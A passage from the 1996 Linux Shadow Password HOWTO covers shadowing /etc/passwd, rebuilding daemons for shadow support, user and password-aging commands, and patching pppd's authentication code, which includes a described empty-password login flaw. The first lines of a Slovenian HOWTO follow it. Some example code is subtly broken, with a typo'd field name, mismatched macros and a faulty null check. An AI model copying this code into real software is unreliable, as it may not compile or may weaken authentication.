This file is the configuration file for the login program. You should review and make changes to this file for your particular system. This is where you decide which tty's root can login from, and set other security policy settings (like password expiration defaults).

5.4 Running pwconv

The next step is to run pwconv. This must also be done as root, and is best done from the /etc subdirectory:

cd /etc
/usr/sbin/pwconv

pwconv takes your /etc/passwd file and strips out the fields to create two files: /etc/npasswd and /etc/nshadow.

A pwunconv program is also provided if you need to make a normal /etc/passwd file out of an /etc/passwd and /etc/shadow combination.

5.5 Renaming npasswd and nshadow

Now that you have run pwconv you have created the files /etc/npasswd and /etc/nshadow. These need to be copied over to /etc/passwd and /etc/shadow. We also want to make a backup copy of the original /etc/passwd file, and make sure only root can read it. We'll put the backup in root's home directory:

cd /etc
cp passwd ~passwd
chmod 600 ~passwd
mv npasswd passwd
mv nshadow shadow

You should also ensure that the file ownerships and permissions are correct. If you are going to be using X-Windows, the xlock and xdm programs need to be able to read the shadow file (but not write it).

There are two ways that this can be done. You can set xlock to suid root (xdm is usually run as root anyway). Or you can make the shadow file owned by root with a group of shadow, but before you do this, make sure that you have a shadow group (look in /etc/group). None of the users on the system should actually be in the shadow group.

chown root.root passwd
chown root.shadow shadow
chmod 0644 passwd
chmod 0640 shadow

Your system now has the password file shadowed. You should now pop over to another virtual terminal and verify that you can login.

Really, do this now!

If you can't, then something is wrong! To get back to a non-shadowed state, do the following the following:

cd /etc
cp ~passwd passwd
chmod 644 passwd

You would then restore the files that you saved earlier to their proper locations.


Linux Shadow Password HOWTO: Other programs you may need to upgrade or patch

 Next Previous Contents

6. Other programs you may need to upgrade or patch

Even though the shadow suite contains replacement programs for most programs that need to access passwords, there are a few additional programs on most systems that require access to passwords.

If you are running a Debian Distribution (or even if you are not), you can obtain Debian sources for the programs that need to be rebuild from: ftp://ftp.debian.org/debian/stable/source/

The remainder of this section discusses how to upgrade adduser, wu_ftpd, ftpd, pop3d, xlock, xdm and sudo so that they support the shadow suite.

See the section Adding Shadow Support to a C program for a discussion on how to put shadow support into any other program that needs it (although the program must then be run SUID root or SGID shadow to be able to actually access the shadow file).

6.1 Slackware adduser program

Slackware distributions (and possibly some others) contain a interactive program for adding users called /sbin/adduser. A shadow version of this program can be obtained from ftp://sunsite.unc.edu/pub/Linux/ system/Admin/accounts/adduser.shadow-1.4.tar.gz.

I would encourage you to use the programs that are supplied with the Shadow Suite (useradd, usermod, and userdel) instead of the slackware adduser program. They take a little time to learn how to use, but it's well worth the effort because you have much more control and they perform proper file locking on the /etc/passwd and /etc/shadow file (adduser doesn't).

See the section on Putting the Shadow Suite to use for more information.

But if you gotta have it, here is what you do:

tar -xzvf adduser.shadow-1.4.tar.gz
cd adduser
make clean
make adduser
chmod 700 adduser
cp adduser /sbin

6.2 The wu_ftpd Server

Most Linux systems some with the wu_ftpd server. If your distribution does not come with shadow installed, then your wu_ftpd will not be compiled for shadow. wu_ftpd is launched from inetd/tcpd as a root process. If you are running an old wu_ftpd daemon, you will want to upgrade it anyway because older ones had a bug that would allow the root account to be compromised (For more info see the Linux security home page).

Fortunately, you only need to get the source code and recompile it with shadow enabled.

If you are not running an ELF system, The wu_ftp server can be found on Sunsite as wu-ftp-2.4-fixed.tar.gz

Once you retrieve the server, put it in /usr/src, then type:

cd /usr/src
tar -xzvf wu-ftpd-2.4-fixed.tar.gz
cd wu-ftpd-2.4-fixed
cp ./src/config/config.lnx.shadow ./src/config/config.lnx

Then edit ./src/makefiles/Makefile.lnx, and change the line:

LIBES    = -lbsd -support
to:
LIBES    = -lbsd -support -lshadow

Now you are ready to run the build script and install:

cd /usr/src/wu-ftpd-2.4-fixed
/usr/src/wu-ftp-2.4.fixed/build lnx
cp /usr/sbin/wu.ftpd /usr/sbin/wu.ftpd.old
cp ./bin/ftpd /usr/sbin/wu.ftpd

This uses the Linux shadow configuration file, compiles and installs the server.

On my Slackware 2.3 system I also had to do the following before running build:

cd /usr/include/netinet
ln -s in_systm.h in_system.h
cd -

Problems have been reported compiling this package under ELF systems, but the Beta version of the next release works fine. It can be found as wu-ftp-2.4.2-beta-10.tar.gz

Once you retrieve the server, put it in /usr/src, then type:

cd /usr/src
tar -xzvf wu-ftpd-2.4.2-beta-9.tar.gz
cd wu-ftpd-beta-9
cd ./src/config

Then edit config.lnx, and change:

#undef SHADOW.PASSWORD
to:
#define SHADOW.PASSWORD
Then,
cd ../Makefiles
and edit the file Makefile.lnx and change:
LIBES = -lsupport -lbsd # -lshadow
to:
LIBES = -lsupport -lbsd -lshadow
Then build and install:
cd ..
build lnx
cp /usr/sbin/wu.ftpd /usr/sbin/wu.ftpd.old
cp ./bin/ftpd /usr/sbin/wu.ftpd

Note that you should check your /etc/inetd.conf file to make sure that this is where your wu.ftpd server really lives. It has been reported that some distributions place the server daemons in different places, and then wu.ftpd in particular may be named something else.

6.3 Standard ftpd

If you are running the standard ftpd server, I would recommend that you upgrade to the wu_ftpd server. Aside from the known bug discussed above, it's generally thought to be more secure.

If you insist on the standard one, or you need NIS support, Sunsite has ftpd-shadow-nis.tgz

6.4 pop3d (Post Office Protocol 3)

If you need to support the third Post Office Protocol (POP3), you will need to recompile a pop3d program. pop3d is normally run by inetd/tcpd as root.

There are two versions available from Sunsite: pop3d-1.00.4.linux.shadow.tar.gz and pop3d+shadow+elf.tar.gz

Both of these are fairly straight forward to install.

6.5 xlock

If you install the shadow suite, and then run X Windows System and lock the screen without upgrading your xlock, you will have to use CNTL-ALT-Fx to switch to another tty, login, and kill the xlock process (or use CNTL-ALT-BS to kill the X server). Fortunately it's fairly easy to upgrade your xlock program.

If you are running XFree86 Versions 3.x.x, you are probably using xlockmore (which is a great screen-saver in addition to a lock). This package supports shadow with a recompile. If you have an older xlock, I recommend that you upgrade to this one.

xlockmore-3.5.tgz is available at: ftp://sunsite.unc.edu/pub/Linux/X11/xutils/screensavers/xlockmore-3.7.tgz

Basically, this is what you need to do:

Get the xlockmore-3.7.tgz file and put it in /usr/src unpack it:

tar -xzvf xlockmore-3.7.tgz

Edit the file: /usr/X11R6/lib/X11/config/linux.cf, and change the line:

#define HasShadowPasswd    NO

to

#define HasShadowPasswd    YES

Then build the executables:

cd /usr/src/xlockmore
xmkmf
make depend
make

Then move everything into place and update file ownerships and permissions:

cp xlock /usr/X11R6/bin/
cp XLock /var/X11R6/lib/app-defaults/
chown root.shadow /usr/X11R6/bin/xlock
chmod 2755 /usr/X11R6/bin/xlock
chown root.shadow /etc/shadow
chmod 640 /etc/shadow

Your xlock will now work correctly.

6.6 xdm

xdm is a program that presents a login screen for X-Windows. Some systems start xdm when the system is told to goto a specified run level (see /etc/inittab.

With the Shadow Suite install, xdm will need to be updated. Fortunately it's fairly easy to upgrade your xdm program.

xdm.tar.gz is available at: ftp://sunsite.unc.edu/pub/Linux/X11/xutils/xdm.tar.gz

Get the xdm.tar.gz file and put it in /usr/src, then to unpack it:

tar -xzvf xdm.tar.gz

Edit the file: /usr/X11R6/lib/X11/config/linux.cf, and change the line:

#define HasShadowPasswd    NO

to

#define HasShadowPasswd    YES

Then build the executables:

cd /usr/src/xdm
xmkmf
make depend
make

Then move everything into place:

cp xdm /usr/X11R6/bin/

xdm is run as root so you don't need to change it file permissions.

6.7 sudo

The program sudo allows a system administrator to let users run programs that would normally require root access. This is handy because it lets the administrator limit access to the root account itself while still allowing users to do things like mounting drives.

sudo needs to read passwords because it verifies the users password when it's invoked. sudo already runs SUID root, so accessing the /etc/shadow file is not a problem.

sudo for the shadow suite, is available as at: ftp://sunsite.unc.edu/pub/Linux/system/Admin/sudo-1.2-shadow.tgz

Warning: When you install sudo your /etc/sudoers file will be replaced with a default one, so you need to make a backup of it if you have added anything to the default one. (you could also edit the Makefile and remove the line that copies the default file to /etc).

The package is already setup for shadow, so all that's required is to recompile the package (put it in /usr/src):

cd /usr/src
tar -xzvf sudo-1.2-shadow.tgz
cd sudo-1.2-shadow
make all
make install

6.9 pppd (Point-to-Point Protocol Server)

The pppd server can be setup to use several types of authentication: Password Authentication Protocol (PAP) and Cryptographic Handshake Authentication Protocol (CHAP). The pppd server usually reads the password strings that it uses from /etc/ppp/chap-secrets and/or /etc/ppp/pap-secrets. If you are using this default behavior of pppd, it is not necessary to reinstall pppd.

pppd also allows you to use the login parameter (either on the command line, or in the configuration or options file). If the login option is given, then pppd will use the /etc/passwd file for the username and passwords for the PAP. This, of course, will no longer work now that our password file is shadowed. For pppd-1.2.1d this requires adding code for shadow support.

The example given in the next section is adding shadow support to pppd-1.2.1d (an older version of pppd).

pppd-2.2.0 already contains shadow support.


Linux Shadow Password HOWTO: Putting the Shadow Suite to use.

 Next Previous Contents

7. Putting the Shadow Suite to use.

This section discusses some of the things that you will want to know now that you have the Shadow Suite installed on your system. More information is contained in the manual pages for each command.

7.1 Adding, Modifying, and deleting users

The Shadow Suite added the following command line oriented commands for adding, modifying, and deleting users. You may also have installed the adduser program.

useradd

The useradd command can be used to add users to the system. You also invoke this command to change the default settings.

The first thing that you should do is to examine the default settings and make changes specific to your system:

useradd -D

GROUP=1
HOME=/home
INACTIVE=0
EXPIRE=0
SHELL=
SKEL=/etc/skel

The defaults are probably not what you want, so if you started adding users now you would have to specify all the information for each user. However, we can and should change the default values.

On my system:

  • I want the default group to be 100
  • I want passwords to expire every 60 days
  • I don't want to lock an account because the password is expired
  • I want to default shell to be /bin/bash
To make these changes I would use:
useradd -D -g100 -e60 -f0 -s/bin/bash

Now running useradd -D will give:

GROUP=100
HOME=/home
INACTIVE=0
EXPIRE=60
SHELL=/bin/bash
SKEL=/etc/skel

Just in case you wanted to know, these defaults are stored in the file /etc/default/useradd.

Now you can use useradd to add users to the system. For example, to add the user fred, using the defaults, you would use the following:

useradd -m -c "Fred Flintstone" fred
This will create the following entry in the /etc/passwd file:
fred:*:505:100:Fred Flintstone:/home/fred:/bin/bash
And the following entry in the /etc/shadow file:
fred:!:0:0:60:0:0:0:0
fred's home directory will be created and the contents of /etc/skel will be copied there because of the -m switch.

Also, since we did not specify a UID, the next available one was used.

fred's account is created, but fred still won't be able to login until we unlock the account. We do this by changing the password.

passwd fred

Changing password for fred
Enter the new password (minimum of 5 characters)
Please use a combination of upper and lower case letters and numbers.
New Password: *******
Re-enter new password: *******
Now the /etc/shadow will contain:
fred:J0C.WDR1amIt6:9559:0:60:0:0:0:0
And fred will now be able to login and use the system. The nice thing about useradd and the other programs that come with the Shadow Suite is that they make changes to the /etc/passwd and /etc/shadow files atomically. So if you are adding a user, and another user is changing their password at the same time, both operations will be performed correctly.

You should use the supplied commands rather than directly editing /etc/passwd and /etc/shadow. If you were editing the /etc/shadow file, and a user were to change his password while you are editing, and then you were to save the file you were editing, the user's password change would be lost.

Here is a small interactive script that adds users using useradd and passwd:

#!/bin/bash
#
# /sbin/newuser - A script to add users to the system using the Shadow
#                 Suite's useradd and passwd commands.
#
# Written my Mike Jackson <mhjack@tscnet.com> as an example for the Linux
# Shadow Password Howto.  Permission to use and modify is expressly granted.
#
# This could be modified to show the defaults and allow modification similar
# to the Slackware Adduser program.  It could also be modified to disallow
# stupid entries.  (i.e. better error checking).
#
##
#  Defaults for the useradd command
##
GROUP=100        # Default Group
HOME=/home       # Home directory location (/home/username)
SKEL=/etc/skel   # Skeleton Directory
INACTIVE=0       # Days after password expires to disable account (0=never)
EXPIRE=60        # Days that a passwords lasts
SHELL=/bin/bash  # Default Shell (full path)
##
#  Defaults for the passwd command
##
PASSMIN=0        # Days between password changes
PASSWARN=14      # Days before password expires that a warning is given
##
#  Ensure that root is running the script.
##
WHOAMI=`/usr/bin/whoami`
if [ $WHOAMI != "root" ]; then
        echo "You must be root to add news users!"
        exit 1
fi
##
#  Ask for username and fullname.
##
echo ""
echo -n "Username: "
read USERNAME
echo -n "Full name: "
read FULLNAME
#
echo "Adding user: $USERNAME."
#
# Note that the "" around $FULLNAME is required because this field is
# almost always going to contain at least on space, and without the "'s
# the useradd command would think that you we moving on to the next
# parameter when it reached the SPACE character.
#
/usr/sbin/useradd -c"$FULLNAME" -d$HOME/$USERNAME -e$EXPIRE \
        -f$INACTIVE -g$GROUP -m -k$SKEL -s$SHELL $USERNAME
##
#  Set password defaults
##
/bin/passwd -n $PASSMIN -w $PASSWARN $USERNAME >/dev/null 2>&1
##
#  Let the passwd command actually ask for password (twice)
##
/bin/passwd $USERNAME
##
#  Show what was done.
##
echo ""
echo "Entry from /etc/passwd:"
echo -n "   "
grep "$USERNAME:" /etc/passwd
echo "Entry from /etc/shadow:"
echo -n "   "
grep "$USERNAME:" /etc/shadow
echo "Summary output of the passwd command:"
echo -n "   "
passwd -S $USERNAME
echo ""

Using a script to add new users is really much more preferable than editing the /etc/passwd or /etc/shadow files directly or using a program like the Slackware adduser program. Feel free to use and modify this script for your particular system.

For more information on the useradd see the online manual page.

usermod

The usermod program is used to modify the information on a user. The switches are similar to the useradd program.

Let's say that you want to change fred's shell, you would do the following:

usermod -s /bin/tcsh fred
Now fred's /etc/passwd file entry would be change to this:
fred:*:505:100:Fred Flintstone:/home/fred:/bin/tcsh
Let's make fred's account expire on 09/15/97:
usermod -e 09/15/97 fred
Now fred's entry in /etc/shadow becomes:
fred:J0C.WDR1amIt6:9559:0:60:0:0:10119:0

For more information on the usermod command see the online manual page.

userdel

userdel does just what you would expect, it deletes the user's account. You simply use:

userdel -r username
The -r causes all files in the user's home directory to be removed along with the home directory itself. Files located in other file system will have to be searched for and deleted manually.

If you want to simply lock the account rather than delete it, use the passwd command instead.

7.2 The passwd command and passwd aging.

The passwd command has the obvious use of changing passwords. Additionally, it is used by the root user to:

  • Lock and unlock accounts (-l and -u)
  • Set the maximum number of days that a password remains valid (-x)
  • Set the minimum days between password changes (-n)
  • Sets the number of days of warning that a password is about to expire (-w)
  • Sets the number of days after the password expires before the account is locked (-i)
  • Allow viewing of account information in a clearer format (-S)

For example, let look again at fred

passwd -S fred
fred P 03/04/96 0 60 0 0
This means that fred's password is valid, it was last changed on 03/04/96, it can be changed at any time, it expires after 60 days, fred will not be warned, and and the account won't be disabled when the password expires.

This simply means that if fred logs in after the password expires, he will be prompted for a new password at login.

If we decide that we want to warn fred 14 days before his password expires and make his account inactive 14 days after he lets it expire, we would need to do the following:

passwd -w14 -i14 fred
Now fred is changed to:
fred P 03/04/96 0 60 14 14
For more information on the passwd command see the online manual page.

7.3 The login.defs file.

The file /etc/login is the configuration file for the login program and also for the Shadow Suite as a whole.

/etc/login contains settings from what the prompts will look like to what the default expiration will be when a user changes his password.

The /etc/login.defs file is quite well documented just by the comments that are contained within it. However, there are a few things to note:

  • It contains flags that can be turned on or off that determine the amount of logging that takes place.
  • It contains pointers to other configuration files.
  • It contains defaults assignments for things like password aging.

From the above list you can see that this is a rather important file, and you should make sure that it is present, and that the settings are what you desire for your system.

7.4 Group passwords.

The /etc/groups file may contain passwords that permit a user to become a member of a particular group. This function is enabled if you define the constant SHADOWGRP in the /usr/src/shadow-YYMMDD/config.h file.

If you define this constant and then compile, you must create an /etc/gshadow file to hold the group passwords and the group administrator information.

When you created the /etc/shadow, you used a program called pwconv, there no equivalent program to create the /etc/gshadow file, but it really doesn't matter, it takes care of itself.

To create the initial /etc/gshadow file do the following:

touch /etc/gshadow
chown root.root /etc/gshadow
chmod 700 /etc/gshadow

Once you create new groups, they will be added to the /etc/group and the /etc/gshadow files. If you modify a group by adding or removing users or changing the group password, the /etc/gshadow file will be changed.

The programs groups, groupadd, groupmod, and groupdel are provided as part of the Shadow Suite to modify groups.

The format of the /etc/group file is as follows:

groupname:!:GID:member,member,...
Where:
groupname

The name of the group

!

The field that normally holds the password, but that is now relocated to the /etc/gshadow file.

GID

The numerical group ID number

member

List of group members

The format of the /etc/gshadow file is as follows:

groupname:password:admin,admin,...:member,member,...
Where:
groupname

The name of the group

password

The encoded group password.

admin

List of group administrators

member

List of group members

The command gpasswd is used only for adding or removing administrators and members to or from a group. root or someone in the list of administrators may add or remove group members.

The groups password can be changed using the passwd command by root or anyone listed as an administrator for the group.

Despite the fact that there is not currently a manual page for gpasswd, typing gpasswd without any parameters gives a listing of options. It's fairly easy to grasp how it all works once you understand the file formats and the concepts.

7.5 Consistency checking programs

pwck

The program pwck is provided to provide a consistency check on the /etc/passwd and /etc/shadow files. It will check each username and verify that it has the following:

  • the correct number of fields
  • unique user name
  • valid user and group identifier
  • valid primary group
  • valid home directory
  • valid login shell

It will also warn of any account that has no password.

It's a good idea to run pwck after installing the Shadow Suite. It's also a good idea to run it periodically, perhaps weekly or monthly. If you use the -r option, you can use cron to run it on a regular basis and have the report mailed to you.

grpck

grpck is the consistency checking program for the /etc/group and /etc/gshadow files. It performs the following checks:

  • the correct number of fields
  • unique group name
  • valid list of members and administrators

It also has the -r option for automated reports.

7.6 Dial-up passwords.

Dial-up passwords are another optional line of defense for systems that allow dial-in access. If you have a system that allows many people to connect locally or via a network, but you want to limit who can dial in and connect, then dial-up passwords are for you. To enable dial-up passwords, you must edit the file /etc/login.defs and ensure that DIALUPS_CHECK_ENAB is set to yes.

Two files contain the dial-up information, /etc/dialups which contains the ttys (one per line, with the leading "/dev/" removed). If a tty is listed then dial-up checks are performed.

The second file is the /etc/d_passwd file. This file contains the fully qualified path name of a shell, followed by an optional password.

If a user logs into a line that is listed in /etc/dialups, and his shell is listed in the file /etc/d_passwd he will be allowed access only by suppling the correct password.

Another useful purpose for using dial-up passwords might be to setup a line that only allows a certain type of connect (perhaps a PPP or UUCP connection). If a user tries to get another type of connection (i.e. a list of shells), he must know a password to use the line.

Before you can use the dial-up feature, you must create the files.

The command dpasswd is provided to assign passwords to the shells in the /etc/d_passwd file. See the manual page for more information.


Linux Shadow Password HOWTO: Adding shadow support to a C program

 Next Previous Contents

8. Adding shadow support to a C program

Adding shadow support to a program is actually fairly straightforward. The only problem is that the program must be run by root (or SUID root) in order for the the program to be able to access the /etc/shadow file.

This presents one big problem: very careful programming practices must be followed when creating SUID programs. For instance, if a program has a shell escape, this must not occur as root if the program is SUID root.

For adding shadow support to a program so that it can check passwords, but otherwise does need to run as root, it's a lot safer to run the program SUID shadow instead. The xlock program is an example of this.

In the example given below, pppd-1.2.1d already runs SUID as root, so adding shadow support should not make the program any more vulnerable.

8.1 Header files

The header files should reside in /usr/include/shadow. There should also be a /usr/include/shadow.h, but it will be a symbolic link to /usr/include/shadow/shadow.h.

To add shadow support to a program, you need to include the header files:

#include <shadow/shadow.h>
#include <shadow/pwauth.h>

It might be a good idea to use compiler directives to conditionally compile the shadow code (I do in the example below).

8.2 libshadow.a library

When you installed the Shadow Suite the libshadow.a file was created and installed in /usr/lib.

When compiling shadow support into a program, the linker needs to be told to include the libshadow.a library into the link.

This is done by:

gcc program.c -o program -lshadow

However, as we will see in the example below, most large programs use a Makefile, and usually have a variable called LIBS=... that we will modify.

8.3 Shadow Structure

The libshadow.a library uses a structure called spwd for the information it retrieves from the /etc/shadow file. This is the definition of the spwd structure from the /usr/include/shadow/shadow.h header file:

struct spwd
{
  char *sp_namp;                /* login name */
  char *sp_pwdp;                /* encrypted password */
  sptime sp_lstchg;             /* date of last change */
  sptime sp_min;                /* minimum number of days between changes */
  sptime sp_max;                /* maximum number of days between changes */
  sptime sp_warn;               /* number of days of warning before password
                                   expires */
  sptime sp_inact;              /* number of days after password expires
                                   until the account becomes unusable. */
  sptime sp_expire;             /* days since 1/1/70 until account expires
*/
  unsigned long sp_flag;        /* reserved for future use */
};

The Shadow Suite can put things into the sp_pwdp field besides just the encoded passwd. The password field could contain:

username:Npge08pfz4wuk;@/sbin/extra:9479:0:10000::::

This means that in addition to the password, the program /sbin/extra should be called for further authentication. The program called will get passed the username and a switch that indicates why it's being called. See the file /usr/include/shadow/pwauth.h and the source code for pwauth.c for more information.

What this means is that we should use the function pwauth to perform the actual authentication, as it will take care of the secondary authentication as well. The example below does this.

The author of the Shadow Suite indicates that since most programs in existence don't do this, and that it may be removed or changed in future versions of the Shadow Suite.

8.4 Shadow Functions

The shadow.h file also contains the function prototypes for the functions contained in the libshadow.a library:

extern void setspent __P ((void));
extern void endspent __P ((void));
extern struct spwd *sgetspent __P ((__const char *__string));
extern struct spwd *fgetspent __P ((FILE *__fp));
extern struct spwd *getspent __P ((void));
extern struct spwd *getspnam __P ((__const char *__name));
extern int putspent __P ((__const struct spwd *__sp, FILE *__fp));

The function that we are going to use in the example is: getspnam which will retrieve for us a spwd structure for the supplied name.

8.5 Example

This is an example of adding shadow support to a program that needs it, but does not have it by default.

This example uses the Point-to-Point Protocol Server (pppd-1.2.1d), which has a mode in which it performs PAP authentication using user names and passwords from the /etc/passwd file instead of the PAP or CHAP files. You would not need to add this code to pppd-2.2.0 because it's already there.

This feature of pppd probably isn't used very much, but if you installed the Shadow Suite, it won't work anymore because the passwords are no longer stored in /etc/passwd.

The code for authenticating users under pppd-1.2.1d is located in the /usr/src/pppd-1.2.1d/pppd/auth.c file.

The following code needs to be added to the top of the file where all the other #include directives are. We have surrounded the #includes with conditional directives (i.e. only include if we are compiling for shadow support).

#ifdef HAS_SHADOW
#include <shadow.h>
#include <shadow/pwauth.h>
#endif

The next thing to do is to modify the actual code. We are still making changes to the auth.c file.

Function auth.c before modifications:

/*
 * login - Check the user name and password against the system
 * password database, and login the user if OK.
 *
 * returns:
 *      UPAP_AUTHNAK: Login failed.
 *      UPAP_AUTHACK: Login succeeded.
 * In either case, msg points to an appropriate message.
 */
static int
login(user, passwd, msg, msglen)
    char *user;
    char *passwd;
    char **msg;
    int *msglen;
{
    struct passwd *pw;
    char *epasswd;
    char *tty;

    if ((pw = getpwnam(user)) == NULL) {
        return (UPAP_AUTHNAK);
    }
     /*
     * XXX If no passwd, let them login without one.
     */
    if (pw->pw_passwd == '\0') {
        return (UPAP_AUTHACK);
    }

    epasswd = crypt(passwd, pw->pw_passwd);
    if (strcmp(epasswd, pw->pw_passwd)) {
        return (UPAP_AUTHNAK);
    }

    syslog(LOG_INFO, "user %s logged in", user);

    /*
     * Write a wtmp entry for this user.
     */
    tty = strrchr(devname, '/');
    if (tty == NULL)
        tty = devname;
    else
        tty++;
    logwtmp(tty, user, "");             /* Add wtmp login entry */
    logged_in = TRUE;

    return (UPAP_AUTHACK);
}

The user's password is placed into pw->pw_passwd, so all we really need to do is add the function getspnam. This will put the password into spwd->sp_pwdp.

We will add the function pwauth to perform the actual authentication. This will automatically perform secondary authentication if the shadow file is setup for it.

Function auth.c after modifications to support shadow:

/*
 * login - Check the user name and password against the system
 * password database, and login the user if OK.
 *
 * This function has been modified to support the Linux Shadow Password
 * Suite if USE_SHADOW is defined.
 *
 * returns:
 *      UPAP_AUTHNAK: Login failed.
 *      UPAP_AUTHACK: Login succeeded.
 * In either case, msg points to an appropriate message.
 */
static int
login(user, passwd, msg, msglen)
    char *user;
    char *passwd;
    char **msg;
    int *msglen;
{
    struct passwd *pw;
    char *epasswd;
    char *tty;

#ifdef USE_SHADOW
    struct spwd *spwd;
    struct spwd *getspnam();
#endif

    if ((pw = getpwnam(user)) == NULL) {
        return (UPAP_AUTHNAK);
    }

#ifdef USE_SHADOW
        spwd = getspnam(user);
        if (spwd)
                pw->pw_passwd = spwd->sp-pwdp;
#endif

     /*
     * XXX If no passwd, let NOT them login without one.
     */
    if (pw->pw_passwd == '\0') {
        return (UPAP_AUTHNAK);
    }
#ifdef HAS_SHADOW
    if ((pw->pw_passwd && pw->pw_passwd[0] == '@'
         && pw_auth (pw->pw_passwd+1, pw->pw_name, PW_LOGIN, NULL))
        || !valid (passwd, pw)) {
        return (UPAP_AUTHNAK);
    }
#else
    epasswd = crypt(passwd, pw->pw_passwd);
    if (strcmp(epasswd, pw->pw_passwd)) {
        return (UPAP_AUTHNAK);
    }
#endif

    syslog(LOG_INFO, "user %s logged in", user);

    /*
     * Write a wtmp entry for this user.
     */
    tty = strrchr(devname, '/');
    if (tty == NULL)
        tty = devname;
    else
        tty++;
    logwtmp(tty, user, "");             /* Add wtmp login entry */
    logged_in = TRUE;

    return (UPAP_AUTHACK);
}

Careful examination will reveal that we made another change as well. The original version allowed access (returned UPAP_AUTHACK if there was NO password in the /etc/passwd file. This is not good, because a common use of this login feature is to use one account to allow access to the PPP process and then check the username and password supplied by PAP with the username in the /etc/passwd file and the password in the /etc/shadow file.

So if we had set the original version up to run as the shell for a user i.e. ppp, then anyone could get a ppp connection by setting their PAP to user ppp and a password of null.

We fixed this also by returning UPAP_AUTHNAK instead of UPAP_AUTHACK if the password field was empty.

Interestingly enough, pppd-2.2.0 has the same problem.

Next we need to modify the Makefile so that two things occur: USE_SHADOW must be defined, and libshadow.a needs to be added to the linking process.

Edit the Makefile, and add:

LIBS = -lshadow

Then we find the line:

COMPILE_FLAGS = -I.. -D_linux_=1 -DGIDSET_TYPE=gid_t

And change it to:

COMPILE_FLAGS = -I.. -D_linux_=1 -DGIDSET_TYPE=gid_t -DUSE_SHADOW

Now make and install.


Linux Shadow Password HOWTO: Frequently Asked Questions.

 Next Previous Contents

9. Frequently Asked Questions.

Q: I used to control which tty's root could log into using the file /etc/securettys, but it doesn't seem to work anymore, what's going on?

A: The file /etc/securettys does absolutely nothing now that the Shadow Suite is installed. The tty's that root can use are now located in the login configuration file /etc/login.defs. The entry in this file may point to another file.

Q: I installed the Shadow Suite, but now I can't login, what did I miss?

A: You probably installed the Shadow programs, but didn't run pwconv or you forgot to copy /etc/npasswd to /etc/passwd and /etc/nshadow to /etc/shadow. Also, you may need to copy login.defs to /etc.

Q: In the section on xlock, it said to change the group ownership of the /etc/shadow file to shadow. I don't have a shadow group, what do I do?

A: You can add one. Simply edit the /etc/group file, and insert a line for the shadow group. You need to ensure that the group number is not used by another group, and you need to insert it before the nogroup entry. Or you can simply suid xlock to root.

Q: Is there a mailing list for the Linux Shadow Password Suite?

A: Yes, but it's for the development and beta testing of the next Shadow Suite for Linux. You can get added to the list by mailing to: shadow-list-request@neptune.cin.net with a subject of: subscribe. The list is actually for discussions of the Linux shadow-YYMMSS series of releases. You should join if you want to get involved in further development or if you install the Suite on your system and want to get information on newer releases.

Q: I installed the Shadow Suite, but when I use the userdel command, I get "userdel: cannot open shadow group file", what did I do wrong?

A: You compiled the Shadow Suite with the SHADOWGRP option enabled, but you don't have an /etc/gshadow file. You need to either edit the config.h file and recompile, or create an /etc/group file. See the section on shadow groups.

Q: I installed the Shadow Suite but now I'm getting encoded passwords back in my /etc/passwd file, what's wrong?

A: You either enabled the AUTOSHADOW option in the Shadow config.h file, or your libc was compiled with the SAHDOW_COMPAT option. You need to determine which is the problem, and recompile.


Linux Shadow Password HOWTO: Copyright Message.

 Next Previous Contents

10. Copyright Message.

The Linux Shadow Password HOWTO is Copyright (c) 1996 Michael H. Jackson.

Permission is granted to make and distribute verbatim copies of this document provided the copyright notice and this permission notice are preserved on all copies.

Permission is granted to copy and distribute modified versions of this document under the conditions for verbatim copies above, provided a notice clearly stating that the document is a modified version is also included in the modified document.

Permission is granted to copy and distribute translations of this document into another language, under the conditions specified above for modified versions.

Permission is granted to convert this document into another media under the conditions specified above for modified versions provided the requirement to acknowledge the source document is fulfilled by inclusion of an obvious reference to the source document in the new media. Where there is any doubt as to what defines 'obvious' the copyright owner reserves the right to decide.


Linux Shadow Password HOWTO: Miscellaneous and Acknowledgments.

 Next Previous Contents

11. Miscellaneous and Acknowledgments.

The code examples for auth.c are taken from pppd-1.2.1d and ppp-2.1.0e, Copyright (c) 1993 and The Australian National University and Copyright (c) 1989 Carnegie Mellon University.

Thanks to Marek Michalkiewicz <marekm@i17linuxb.ists.pwr.wroc.pl> for writing and maintaining the Shadow Suite for Linux, and for his review and comments on this document.

Thanks to Ron Tidd <rtidd@tscnet.com> for his helpful review and testing.

Thanks to everyone who has sent me feedback to help improve this document.

Please, if you have any comments or suggestions then mail them to me.

regards

Michael H. Jackson <mhjack@tscnet.com>


Slovenian HOWTO

Primoz Peterlin <primoz.peterlin@biofiz.mf.uni-lj.si>

v2.9, 15 February 1999

Zbirka receptov za poslovenjenje sistema Linux. (Note to English readers: this document addresses Linux localization issues specific to Slovenian users.)

1. Uvod

  • 1.1 Kaj je Linux?
  • 1.2 Dogovor o zapisu

2. Za nestrpne

  • 2.1 Nasi znaki na konzoli
  • 2.2 Nasi znaki v okolju X Window System

3. Prikaz nasih znakov na zaslonu

  • 3.1 Nabor znakov ``ISO Latin 2''
  • 3.2 Konzola
  • 3.3 X Window System
  • 3.4 PostScript pod X11
  • 3.5 TrueType pod X11

4. Tipkovnica

  • 4.1 Konzola
  • 4.2 X Windows System

5. Slovenski locale

  • 5.1 Programiranje z GNU gettext
  • 5.2 Poslovenjenje katalogov sporocil

6. Poslovenjenje razlicnih programov

  • 6.1 Ukazne lupine
  • 6.2 Terminalski emulatorji
  • 6.3 Pisarniski paketi
  • 6.4 Urejevalniki
  • 6.5 Elektronska posta
  • 6.6 Svetovni splet
  • 6.7 Delo na oddaljenem racunalniku
  • 6.8 TeX in LaTeX
  • 6.9 groff
  • 6.10 Perl
  • 6.11 Crkovanje: ispell
  • 6.12 Pretvarjanje med razlicnimi kodiranji
  • 6.13 Drugi programi

7. Tiskanje

  • 7.1 Tiskalniki, ki podpirajo ISO Latin 2
  • 7.2 Tiskalniki, ki podpirajo kak drug nabor z nasimi znaki
  • 7.3 Tiskalniki, ki podpirajo kak drug nabor z nasimi znaki II
  • 7.4 Tiskalniki PostScript

8. Linux v Sloveniji

  • 8.1 Skupina uporabnikov Linuxa
  • 8.2 Strezniki FTP
  • 8.3 Usenet
  • 8.4 Zastopniki za Linux

9. O tem spisu

  • 9.1 Opombe k drugi izdaji
  • 9.2 Zahvala
  • 9.3 Vprasanja
  • 9.4 Uporaba in razsirjanje
  • 9.5 Note to English readers


Slovenian HOWTO: Uvod

 Next Previous Contents

1. Uvod

1.1 Kaj je Linux?

